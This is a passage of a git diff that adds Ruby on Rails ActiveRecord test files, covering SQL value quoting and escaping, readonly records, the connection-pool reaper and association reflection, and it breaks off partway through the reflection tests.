+      @connection_2 = ActiveRecord::Base.connection.object_id
+    end
+
+    thread_a.join
+
+    assert_equal @connection_1, @connection_2
+  end
+end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
new file mode 100644
index 0000000000..59d3bbb573
--- /dev/null
+++ b/activerecord/test/cases/quoting_test.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class QuotingTest < ActiveRecord::TestCase
+      def setup
+        @quoter = Class.new { include Quoting }.new
+      end
+
+      def test_quoted_true
+        assert_equal "TRUE", @quoter.quoted_true
+      end
+
+      def test_quoted_false
+        assert_equal "FALSE", @quoter.quoted_false
+      end
+
+      def test_quote_column_name
+        assert_equal "foo", @quoter.quote_column_name("foo")
+      end
+
+      def test_quote_table_name
+        assert_equal "foo", @quoter.quote_table_name("foo")
+      end
+
+      def test_quote_table_name_calls_quote_column_name
+        @quoter.extend(Module.new {
+          def quote_column_name(string)
+            "lol"
+          end
+        })
+        assert_equal "lol", @quoter.quote_table_name("foo")
+      end
+
+      def test_quote_string
+        assert_equal "''", @quoter.quote_string("'")
+        assert_equal "\\\\", @quoter.quote_string("\\")
+        assert_equal "hi''i", @quoter.quote_string("hi'i")
+        assert_equal "hi\\\\i", @quoter.quote_string("hi\\i")
+      end
+
+      def test_quoted_date
+        t = Date.today
+        assert_equal t.to_s(:db), @quoter.quoted_date(t)
+      end
+
+      def test_quoted_time_utc
+        with_timezone_config default: :utc do
+          t = Time.now.change(usec: 0)
+          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      def test_quoted_time_local
+        with_timezone_config default: :local do
+          t = Time.now.change(usec: 0)
+          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      def test_quoted_time_crazy
+        with_timezone_config default: :asdfasdf do
+          t = Time.now.change(usec: 0)
+          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      def test_quoted_datetime_utc
+        with_timezone_config default: :utc do
+          t = Time.now.change(usec: 0).to_datetime
+          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      ###
+      # DateTime doesn't define getlocal, so make sure it does nothing
+      def test_quoted_datetime_local
+        with_timezone_config default: :local do
+          t = Time.now.change(usec: 0).to_datetime
+          assert_equal t.to_s(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      class QuotedOne
+        def quoted_id
+          1
+        end
+      end
+      class SubQuotedOne < QuotedOne
+      end
+      def test_quote_with_quoted_id
+        assert_deprecated(/defined on \S+::QuotedOne at .*quoting_test\.rb:[0-9]/) do
+          assert_equal 1, @quoter.quote(QuotedOne.new)
+        end
+
+        assert_deprecated(/defined on \S+::SubQuotedOne\(\S+::QuotedOne\) at .*quoting_test\.rb:[0-9]/) do
+          assert_equal 1, @quoter.quote(SubQuotedOne.new)
+        end
+      end
+
+      def test_quote_nil
+        assert_equal "NULL", @quoter.quote(nil)
+      end
+
+      def test_quote_true
+        assert_equal @quoter.quoted_true, @quoter.quote(true)
+      end
+
+      def test_quote_false
+        assert_equal @quoter.quoted_false, @quoter.quote(false)
+      end
+
+      def test_quote_float
+        float = 1.2
+        assert_equal float.to_s, @quoter.quote(float)
+      end
+
+      def test_quote_integer
+        integer = 1
+        assert_equal integer.to_s, @quoter.quote(integer)
+      end
+
+      def test_quote_bignum
+        bignum = 1 << 100
+        assert_equal bignum.to_s, @quoter.quote(bignum)
+      end
+
+      def test_quote_bigdecimal
+        bigdec = BigDecimal.new((1 << 100).to_s)
+        assert_equal bigdec.to_s("F"), @quoter.quote(bigdec)
+      end
+
+      def test_dates_and_times
+        @quoter.extend(Module.new { def quoted_date(value) "lol" end })
+        assert_equal "'lol'", @quoter.quote(Date.today)
+        assert_equal "'lol'", @quoter.quote(Time.now)
+        assert_equal "'lol'", @quoter.quote(DateTime.now)
+      end
+
+      def test_quoting_classes
+        assert_equal "'Object'", @quoter.quote(Object)
+      end
+
+      def test_crazy_object
+        crazy = Object.new
+        e = assert_raises(TypeError) do
+          @quoter.quote(crazy)
+        end
+        assert_equal "can't quote Object", e.message
+      end
+
+      def test_quote_string_no_column
+        assert_equal "'lo\\\\l'", @quoter.quote('lo\l')
+      end
+
+      def test_quote_as_mb_chars_no_column
+        string = ActiveSupport::Multibyte::Chars.new('lo\l')
+        assert_equal "'lo\\\\l'", @quoter.quote(string)
+      end
+
+      def test_quote_duration
+        assert_equal "1800", @quoter.quote(30.minutes)
+      end
+    end
+
+    class TypeCastingTest < ActiveRecord::TestCase
+      def setup
+        @conn = ActiveRecord::Base.connection
+      end
+
+      def test_type_cast_symbol
+        assert_equal "foo", @conn.type_cast(:foo)
+      end
+
+      def test_type_cast_date
+        date = Date.today
+        if current_adapter?(:Mysql2Adapter)
+          expected = date
+        else
+          expected = @conn.quoted_date(date)
+        end
+        assert_equal expected, @conn.type_cast(date)
+      end
+
+      def test_type_cast_time
+        time = Time.now
+        if current_adapter?(:Mysql2Adapter)
+          expected = time
+        else
+          expected = @conn.quoted_date(time)
+        end
+        assert_equal expected, @conn.type_cast(time)
+      end
+
+      def test_type_cast_numeric
+        assert_equal 10, @conn.type_cast(10)
+        assert_equal 2.2, @conn.type_cast(2.2)
+      end
+
+      def test_type_cast_nil
+        assert_nil @conn.type_cast(nil)
+      end
+
+      def test_type_cast_unknown_should_raise_error
+        obj = Class.new.new
+        assert_raise(TypeError) { @conn.type_cast(obj) }
+      end
+
+      def test_type_cast_object_which_responds_to_quoted_id
+        quoted_id_obj = Class.new {
+          def quoted_id
+            "'zomg'"
+          end
+
+          def id
+            10
+          end
+        }.new
+        assert_equal 10, @conn.type_cast(quoted_id_obj)
+
+        quoted_id_obj = Class.new {
+          def quoted_id
+            "'zomg'"
+          end
+        }.new
+        assert_raise(TypeError) { @conn.type_cast(quoted_id_obj) }
+      end
+    end
+
+    class QuoteBooleanTest < ActiveRecord::TestCase
+      def setup
+        @connection = ActiveRecord::Base.connection
+      end
+
+      def test_quote_returns_frozen_string
+        assert_predicate @connection.quote(true), :frozen?
+        assert_predicate @connection.quote(false), :frozen?
+      end
+
+      def test_type_cast_returns_frozen_value
+        assert_predicate @connection.type_cast(true), :frozen?
+        assert_predicate @connection.type_cast(false), :frozen?
+      end
+    end
+
+    if subsecond_precision_supported?
+      class QuoteARBaseTest < ActiveRecord::TestCase
+        class DatetimePrimaryKey < ActiveRecord::Base
+        end
+
+        def setup
+          @time = ::Time.utc(2017, 2, 14, 12, 34, 56, 789999)
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table :datetime_primary_keys, id: :datetime, precision: 3, force: true
+        end
+
+        def teardown
+          @connection.drop_table :datetime_primary_keys, if_exists: true
+        end
+
+        def test_quote_ar_object
+          value = DatetimePrimaryKey.new(id: @time)
+          assert_equal "'2017-02-14 12:34:56.789000'",  @connection.quote(value)
+        end
+
+        def test_type_cast_ar_object
+          value = DatetimePrimaryKey.new(id: @time)
+          assert_equal @connection.type_cast(value.id),  @connection.type_cast(value)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
new file mode 100644
index 0000000000..d1b85cb4ef
--- /dev/null
+++ b/activerecord/test/cases/readonly_test.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/post"
+require "models/comment"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/reader"
+require "models/person"
+require "models/ship"
+
+class ReadOnlyTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
+
+  def test_cant_save_readonly_record
+    dev = Developer.find(1)
+    assert !dev.readonly?
+
+    dev.readonly!
+    assert dev.readonly?
+
+    assert_nothing_raised do
+      dev.name = "Luscious forbidden fruit."
+      assert !dev.save
+      dev.name = "Forbidden."
+    end
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save  }
+    assert_equal "Developer is marked as readonly", e.message
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.save! }
+    assert_equal "Developer is marked as readonly", e.message
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.destroy }
+    assert_equal "Developer is marked as readonly", e.message
+  end
+
+  def test_find_with_readonly_option
+    Developer.all.each { |d| assert !d.readonly? }
+    Developer.readonly(false).each { |d| assert !d.readonly? }
+    Developer.readonly(true).each { |d| assert d.readonly? }
+    Developer.readonly.each { |d| assert d.readonly? }
+  end
+
+  def test_find_with_joins_option_does_not_imply_readonly
+    Developer.joins("  ").each { |d| assert_not d.readonly? }
+    Developer.joins("  ").readonly(true).each { |d| assert d.readonly? }
+
+    Developer.joins(", projects").each { |d| assert_not d.readonly? }
+    Developer.joins(", projects").readonly(true).each { |d| assert d.readonly? }
+  end
+
+  def test_has_many_find_readonly
+    post = Post.find(1)
+    assert !post.comments.empty?
+    assert !post.comments.any?(&:readonly?)
+    assert !post.comments.to_a.any?(&:readonly?)
+    assert post.comments.readonly(true).all?(&:readonly?)
+  end
+
+  def test_has_many_with_through_is_not_implicitly_marked_readonly
+    assert people = Post.find(1).people
+    assert !people.any?(&:readonly?)
+  end
+
+  def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_by_id
+    assert !posts(:welcome).people.find(1).readonly?
+  end
+
+  def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_first
+    assert !posts(:welcome).people.first.readonly?
+  end
+
+  def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_last
+    assert !posts(:welcome).people.last.readonly?
+  end
+
+  def test_readonly_scoping
+    Post.where("1=1").scoping do
+      assert !Post.find(1).readonly?
+      assert Post.readonly(true).find(1).readonly?
+      assert !Post.readonly(false).find(1).readonly?
+    end
+
+    Post.joins("   ").scoping do
+      assert !Post.find(1).readonly?
+      assert Post.readonly.find(1).readonly?
+      assert !Post.readonly(false).find(1).readonly?
+    end
+
+    # Oracle barfs on this because the join includes unqualified and
+    # conflicting column names
+    unless current_adapter?(:OracleAdapter)
+      Post.joins(", developers").scoping do
+        assert_not Post.find(1).readonly?
+        assert Post.readonly.find(1).readonly?
+        assert !Post.readonly(false).find(1).readonly?
+      end
+    end
+
+    Post.readonly(true).scoping do
+      assert Post.find(1).readonly?
+      assert Post.readonly.find(1).readonly?
+      assert !Post.readonly(false).find(1).readonly?
+    end
+  end
+
+  def test_association_collection_method_missing_scoping_not_readonly
+    developer = Developer.find(1)
+    project   = Post.find(1)
+
+    assert !developer.projects.all_as_method.first.readonly?
+    assert !developer.projects.all_as_scope.first.readonly?
+
+    assert !project.comments.all_as_method.first.readonly?
+    assert !project.comments.all_as_scope.first.readonly?
+  end
+end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
new file mode 100644
index 0000000000..49170abe6f
--- /dev/null
+++ b/activerecord/test/cases/reaper_test.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ReaperTest < ActiveRecord::TestCase
+      attr_reader :pool
+
+      def setup
+        super
+        @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+      end
+
+      teardown do
+        @pool.connections.each(&:close)
+      end
+
+      class FakePool
+        attr_reader :reaped
+
+        def initialize
+          @reaped = false
+        end
+
+        def reap
+          @reaped = true
+        end
+      end
+
+      # A reaper with nil time should never reap connections
+      def test_nil_time
+        fp = FakePool.new
+        assert !fp.reaped
+        reaper = ConnectionPool::Reaper.new(fp, nil)
+        reaper.run
+        assert !fp.reaped
+      end
+
+      def test_some_time
+        fp = FakePool.new
+        assert !fp.reaped
+
+        reaper = ConnectionPool::Reaper.new(fp, 0.0001)
+        reaper.run
+        until fp.reaped
+          Thread.pass
+        end
+        assert fp.reaped
+      end
+
+      def test_pool_has_reaper
+        assert pool.reaper
+      end
+
+      def test_reaping_frequency_configuration
+        spec = ActiveRecord::Base.connection_pool.spec.dup
+        spec.config[:reaping_frequency] = 100
+        pool = ConnectionPool.new spec
+        assert_equal 100, pool.reaper.frequency
+      end
+
+      def test_connection_pool_starts_reaper
+        spec = ActiveRecord::Base.connection_pool.spec.dup
+        spec.config[:reaping_frequency] = "0.0001"
+
+        pool = ConnectionPool.new spec
+
+        conn = nil
+        child = Thread.new do
+          conn = pool.checkout
+          Thread.stop
+        end
+        Thread.pass while conn.nil?
+
+        assert conn.in_use?
+
+        child.terminate
+
+        while conn.in_use?
+          Thread.pass
+        end
+        assert !conn.in_use?
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
new file mode 100644
index 0000000000..4cd2d3aedc
--- /dev/null
+++ b/activerecord/test/cases/reflection_test.rb
@@ -0,0 +1,533 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/customer"
+require "models/company"
+require "models/company_in_module"
+require "models/ship"
+require "models/pirate"
+require "models/price_estimate"
+require "models/essay"
+require "models/author"
+require "models/organization"
+require "models/post"
+require "models/tagging"
+require "models/category"
+require "models/book"
+require "models/subscriber"
+require "models/subscription"
+require "models/tag"
+require "models/sponsor"
+require "models/edge"
+require "models/hotel"
+require "models/chef"
+require "models/department"
+require "models/cake_designer"
+require "models/drink_designer"
+require "models/mocktail_designer"
+require "models/recipe"
+
+class ReflectionTest < ActiveRecord::TestCase
+  include ActiveRecord::Reflection
+
+  fixtures :topics, :customers, :companies, :subscribers, :price_estimates
+
+  def setup
+    @first = Topic.find(1)
+  end
+
+  def test_human_name
+    assert_equal "Price estimate", PriceEstimate.model_name.human
+    assert_equal "Subscriber", Subscriber.model_name.human
+  end
+
+  def test_read_attribute_names
+    assert_equal(
+      %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count unique_replies_count parent_id parent_title type created_at updated_at ).sort,
+      @first.attribute_names.sort
+    )
+  end
+
+  def test_columns
+    assert_equal 18, Topic.columns.length
+  end
+
+  def test_columns_are_returned_in_the_order_they_were_declared
+    column_names = Topic.columns.map(&:name)
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
+  end
+
+  def test_content_columns
+    content_columns        = Topic.content_columns
+    content_column_names   = content_columns.map(&:name)
+    assert_equal 13, content_columns.length
+    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
+  end
+
+  def test_column_string_type_and_limit
+    assert_equal :string, @first.column_for_attribute("title").type
+    assert_equal 250, @first.column_for_attribute("title").limit
+  end
+
+  def test_column_null_not_null
+    subscriber = Subscriber.first
+    assert subscriber.column_for_attribute("name").null
+    assert !subscriber.column_for_attribute("nick").null
+  end
+
+  def test_human_name_for_column
+    assert_equal "Author name", @first.column_for_attribute("author_name").human_name
+  end
+
+  def test_integer_columns
+    assert_equal :integer, @first.column_for_attribute("id").type
+  end
+
+  def test_non_existent_columns_return_null_object
+    column = @first.column_for_attribute("attribute_that_doesnt_exist")
+    assert_instance_of ActiveRecord::ConnectionAdapters::NullColumn, column
+    assert_equal "attribute_that_doesnt_exist", column.name
+    assert_nil column.sql_type
+    assert_nil column.type
+  end
+
+  def test_non_existent_types_are_identity_types
+    type = @first.type_for_attribute("attribute_that_doesnt_exist")
+    object = Object.new
+
+    assert_equal object, type.deserialize(object)
+    assert_equal object, type.cast(object)
+    assert_equal object, type.serialize(object)
+  end
+
+  def test_reflection_klass_for_nested_class_name
+    reflection = ActiveRecord::Reflection.create(
+      :has_many,
+      nil,
+      nil,
+      { class_name: "MyApplication::Business::Company" },
+      Customer
+    )
+    assert_nothing_raised do
+      assert_equal MyApplication::Business::Company, reflection.klass
+    end
+  end
+
+  def test_irregular_reflection_class_name
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.irregular "plural_irregular", "plurales_irregulares"
+    end
+    reflection = ActiveRecord::Reflection.create(:has_many, "plurales_irregulares", nil, {}, ActiveRecord::Base)
+    assert_equal "PluralIrregular", reflection.class_name
+  end
+
+  def test_aggregation_reflection
+    reflection_for_address = AggregateReflection.new(
+      :address, nil, { mapping: [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+    )
+
+    reflection_for_balance = AggregateReflection.new(
+      :balance, nil, { class_name: "Money", mapping: %w(balance amount) }, Customer
+    )
+
+    reflection_for_gps_location = AggregateReflection.new(
+      :gps_location, nil, {}, Customer
+    )
+
+    assert_includes Customer.reflect_on_all_aggregations, reflection_for_gps_location
+    assert_includes Customer.reflect_on_all_aggregations, reflection_for_balance
+    assert_includes Customer.reflect_on_all_aggregations, reflection_for_address
+
+    assert_equal reflection_for_address, Customer.reflect_on_aggregation(:address)
+
+    assert_equal Address, Customer.reflect_on_aggregation(:address).klass
+
+    assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
+  end
+
+  def test_reflect_on_all_autosave_associations
+    expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
+    received = Pirate.reflect_on_all_autosave_associations
+
+    assert !received.empty?
+    assert_not_equal Pirate.reflect_on_all_associations.length, received.length
+    assert_equal expected, received
+  end
+
+  def test_has_many_reflection
+    reflection_for_clients = ActiveRecord::Reflection.create(:has_many, :clients, nil, { order: "id", dependent: :destroy }, Firm)
+
+    assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
+
+    assert_equal Client, Firm.reflect_on_association(:clients).klass
+    assert_equal "companies", Firm.reflect_on_association(:clients).table_name
+
+    assert_equal Client, Firm.reflect_on_association(:clients_of_firm).klass
+    assert_equal "companies", Firm.reflect_on_association(:clients_of_firm).table_name
+  end
+
+  def test_has_one_reflection
+    reflection_for_account = ActiveRecord::Reflection.create(:has_one, :account, nil, { foreign_key: "firm_id", dependent: :destroy }, Firm)
+    assert_equal reflection_for_account, Firm.reflect_on_association(:account)
+
+    assert_equal Account, Firm.reflect_on_association(:account).klass
+    assert_equal "accounts", Firm.reflect_on_association(:account).table_name
+  end
+
+  def test_belongs_to_inferred_foreign_key_from_assoc_name
+    Company.belongs_to :foo
+    assert_equal "foo_id", Company.reflect_on_association(:foo).foreign_key
+    Company.belongs_to :bar, class_name: "Xyzzy"
+    assert_equal "bar_id", Company.reflect_on_association(:bar).foreign_key
+    Company.belongs_to :baz, class_name: "Xyzzy", foreign_key: "xyzzy_id"
+    assert_equal "xyzzy_id", Company.reflect_on_association(:baz).foreign_key
+  end
+
+  def test_association_reflection_in_modules
+    ActiveRecord::Base.store_full_sti_class = false
+
+    assert_reflection MyApplication::Business::Firm,
+      :clients_of_firm,
+      klass: MyApplication::Business::Client,
+      class_name: "Client",
+      table_name: "companies"
+
+    assert_reflection MyApplication::Billing::Account,
+      :firm,
+      klass: MyApplication::Business::Firm,
+      class_name: "MyApplication::Business::Firm",
+      table_name: "companies"
+
+    assert_reflection MyApplication::Billing::Account,
+      :qualified_billing_firm,
+      klass: MyApplication::Billing::Firm,
+      class_name: "MyApplication::Billing::Firm",
+      table_name: "companies"
+
+    assert_reflection MyApplication::Billing::Account,
+      :unqualified_billing_firm,
+      klass: MyApplication::Billing::Firm,
+      class_name: "Firm",
+      table_name: "companies"
+
+    assert_reflection MyApplication::Billing::Account,
+      :nested_qualified_billing_firm,
+      klass: MyApplication::Billing::Nested::Firm,
+      class_name: "MyApplication::Billing::Nested::Firm",
+      table_name: "companies"
+
+    assert_reflection MyApplication::Billing::Account,
+      :nested_unqualified_billing_firm,
+      klass: MyApplication::Billing::Nested::Firm,
+      class_name: "Nested::Firm",
+      table_name: "companies"
+  ensure
+    ActiveRecord::Base.store_full_sti_class = true
+  end
+
+  def test_reflection_should_not_raise_error_when_compared_to_other_object
+    assert_not_equal Object.new, Firm._reflections["clients"]
+  end
+
+  def test_reflections_should_return_keys_as_strings
+    assert Category.reflections.keys.all? { |key| key.is_a? String }, "Model.reflections is expected to return string for keys"
+  end
+
+  def test_has_and_belongs_to_many_reflection
+    assert_equal :has_and_belongs_to_many, Category.reflections["posts"].macro
+    assert_equal :posts, Category.reflect_on_all_associations(:has_and_belongs_to_many).first.name
+  end
+
+  def test_has_many_through_reflection
+    assert_kind_of ThroughReflection, Subscriber.reflect_on_association(:books)
+  end
+
+  def test_chain
+    expected = [
+      Organization.reflect_on_association(:author_essay_categories),
+      Author.reflect_on_association(:essays),
+      Organization.reflect_on_association(:authors)
+    ]
+    actual = Organization.reflect_on_association(:author_essay_categories).chain
+
+    assert_equal expected, actual
+  end
+
+  def test_scope_chain
+    expected = [
+      [Tagging.reflect_on_association(:tag).scope, Post.reflect_on_association(:first_blue_tags).scope],
+      [Post.reflect_on_association(:first_taggings).scope],
+      [Author.reflect_on_association(:misc_posts).scope]
+    ]
+    actual = assert_deprecated do
+      Author.reflect_on_association(:misc_post_first_blue_tags).scope_chain
+    end
+    assert_equal expected, actual
+
+    expected = [
+      [
+        Tagging.reflect_on_association(:blue_tag).scope,
+        Post.reflect_on_association(:first_blue_tags_2).scope,
+        Author.reflect_on_association(:misc_post_first_blue_tags_2).scope
+      ],
+      [],
+      []
+    ]
+    actual = assert_deprecated do
+      Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
+    end
+    assert_equal expected, actual
+  end
+
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
+    @hotel = Hotel.create!
+    @department = @hotel.departments.create!
+    @department.chefs.create!(employable: CakeDesigner.create!)
+    @department.chefs.create!(employable: DrinkDesigner.create!)
+
+    assert_equal 1, @hotel.cake_designers.size
+    assert_equal 1, @hotel.drink_designers.size
+    assert_equal 2, @hotel.chefs.size
+  end
+
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case_and_sti
+    @hotel = Hotel.create!
+    @hotel.mocktail_designers << MocktailDesigner.create!
+
+    assert_equal 1, @hotel.mocktail_designers.size
+    assert_equal 1, @hotel.mocktail_designers.count
+    assert_equal 1, @hotel.chef_lists.size
+  end
+
+  def test_scope_chain_of_polymorphic_association_does_not_leak_into_other_hmt_associations
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    drink = department.chefs.create!(employable: DrinkDesigner.create!)
+    Recipe.create!(chef_id: drink.id, hotel_id: hotel.id)
+
+    expected_sql = capture_sql { hotel.recipes.to_a }
+
+    Hotel.reflect_on_association(:recipes).clear_association_scope_cache
+    hotel.reload
+    hotel.drink_designers.to_a
+    loaded_sql = capture_sql { hotel.recipes.to_a }
+
+    assert_equal expected_sql, loaded_sql
+  end
+
+  def test_nested?
+    assert !Author.reflect_on_association(:comments).nested?
+    assert Author.reflect_on_association(:tags).nested?
+
+    # Only goes :through once, but the through_reflection is a has_and_belongs_to_many, so this is
+    # a nested through association
+    assert Category.reflect_on_association(:post_comments).nested?
+  end
+
+  def test_association_primary_key
+    # Normal association
+    assert_equal "id",   Author.reflect_on_association(:posts).association_primary_key.to_s
+    assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s
+    assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s
+
+    # Through association (uses the :primary_key option from the source reflection)
+    assert_equal "nick", Author.reflect_on_association(:subscribers).association_primary_key.to_s
+    assert_equal "name", Author.reflect_on_association(:essay_category).association_primary_key.to_s
+    assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested
+  end
+
+  def test_association_primary_key_type
+    # Normal Association
+    assert_equal :integer, Author.reflect_on_association(:posts).association_primary_key_type.type
+    assert_equal :string,  Author.reflect_on_association(:essay).association_primary_key_type.type
+
+    # Through Association
+    assert_equal :string, Author.reflect_on_association(:essay_category).association_primary_key_type.type
+  end
+
+  def test_association_primary_key_raises_when_missing_primary_key
+    reflection = ActiveRecord::Reflection.create(:has_many, :edge, nil, {}, Author)
+    assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
+
+    through = Class.new(ActiveRecord::Reflection::ThroughReflection) {
+      define_method(:source_reflection) { reflection }
+    }.new(reflection)
+    assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
+  end
+
+  def test_active_record_primary_key
+    assert_equal "nick", Subscriber.reflect_on_association(:subscriptions).active_record_primary_key.to_s
+    assert_equal "name", Author.reflect_on_association(:essay).active_record_primary_key.to_s
+  end
+
+  def test_active_record_primary_key_raises_when_missing_primary_key
+    reflection = ActiveRecord::Reflection.create(:has_many, :author, nil, {}, Edge)
+    assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
+  end
+
+  def test_foreign_type
+    assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s
+    assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s
+  end
+
+  def test_collection_association
+    assert Pirate.reflect_on_association(:birds).collection?
+    assert Pirate.reflect_on_association(:parrots).collection?
+
+    assert !Pirate.reflect_on_association(:ship).collection?
+    assert !Ship.reflect_on_association(:pirate).collection?
+  end
+
+  def test_default_association_validation
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, {}, Firm).validate?
+
+    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, {}, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, {}, Firm).validate?
+  end
+
+  def test_always_validate_association_if_explicit
+    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { validate: true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { validate: true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { validate: true }, Firm).validate?
+  end
+
+  def test_validate_association_if_autosave
+    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true }, Firm).validate?
+    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true }, Firm).validate?
+  end
+
+  def test_never_validate_association_if_explicit
+    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true, validate: false }, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true, validate: false }, Firm).validate?
+    assert !ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true, validate: false }, Firm).validate?
+  end
+
+  def test_foreign_key
+    assert_equal "author_id", Author.reflect_on_association(:posts).foreign_key.to_s
+    assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s
+  end
+
+  def test_through_reflection_scope_chain_does_not_modify_other_reflections
+    orig_conds = assert_deprecated do
+      Post.reflect_on_association(:first_blue_tags_2).scope_chain
+    end.inspect
+    assert_deprecated do
+      Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
+    end
+    assert_equal orig_conds, assert_deprecated {
+      Post.reflect_on_association(:first_blue_tags_2).scope_chain
+    }.inspect
+  end
+
+  def test_symbol_for_class_name
+    assert_equal Client, Firm.reflect_on_association(:unsorted_clients_with_symbol).klass
+  end
+
+  def test_class_for_class_name
+    assert_deprecated do
+      assert_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, { class_name: Client }, Firm), :validate?
+    end
+  end
+
+  def test_join_table
+    category = Struct.new(:table_name, :pluralize_table_names).new("categories", true)
+    product = Struct.new(:table_name, :pluralize_table_names).new("products", true)
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
+    reflection.stub(:klass, category) do
+      assert_equal "categories_products", reflection.join_table
+    end
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
+    reflection.stub(:klass, product) do
+      assert_equal "categories_products", reflection.join_table
+    end
+  end
+
+  def test_join_table_with_common_prefix
+    category = Struct.new(:table_name, :pluralize_table_names).new("catalog_categories", true)
+    product = Struct.new(:table_name, :pluralize_table_names).new("catalog_products", true)
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
+    reflection.stub(:klass, category) do
+      assert_equal "catalog_categories_products", reflection.join_table
+    end
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
+    reflection.stub(:klass, product) do
+      assert_equal "catalog_categories_products", reflection.join_table
+    end
+  end
+
+  def test_join_table_with_different_prefix
+    category = Struct.new(:table_name, :pluralize_table_names).new("catalog_categories", true)
+    page = Struct.new(:table_name, :pluralize_table_names).new("content_pages", true)
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, page)
+    reflection.stub(:klass, category) do
+      assert_equal "catalog_categories_content_pages", reflection.join_table
+    end
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :pages, nil, {}, category)
+    reflection.stub(:klass, page) do
+      assert_equal "catalog_categories_content_pages", reflection.join_table
+    end
+  end
+
+  def test_join_table_can_be_overridden
+    category = Struct.new(:table_name, :pluralize_table_names).new("categories", true)
+    product = Struct.new(:table_name, :pluralize_table_names).new("products", true)
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, { join_table: "product_categories" }, product)
+    reflection.stub(:klass, category) do
+      assert_equal "product_categories", reflection.join_table
+    end
+
+    reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, { join_table: "product_categories" }, category)
+    reflection.stub(:klass, product) do
+      assert_equal "product_categories", reflection.join_table
+    end
+  end
+
+  def test_includes_accepts_symbols
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    department.chefs.create!
+
+    assert_nothing_raised do
+      assert_equal department.chefs, Hotel.includes([departments: :chefs]).first.chefs
+    end
+  end
+
+  def test_includes_accepts_strings
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    department.chefs.create!
+
+    assert_nothing_raised do
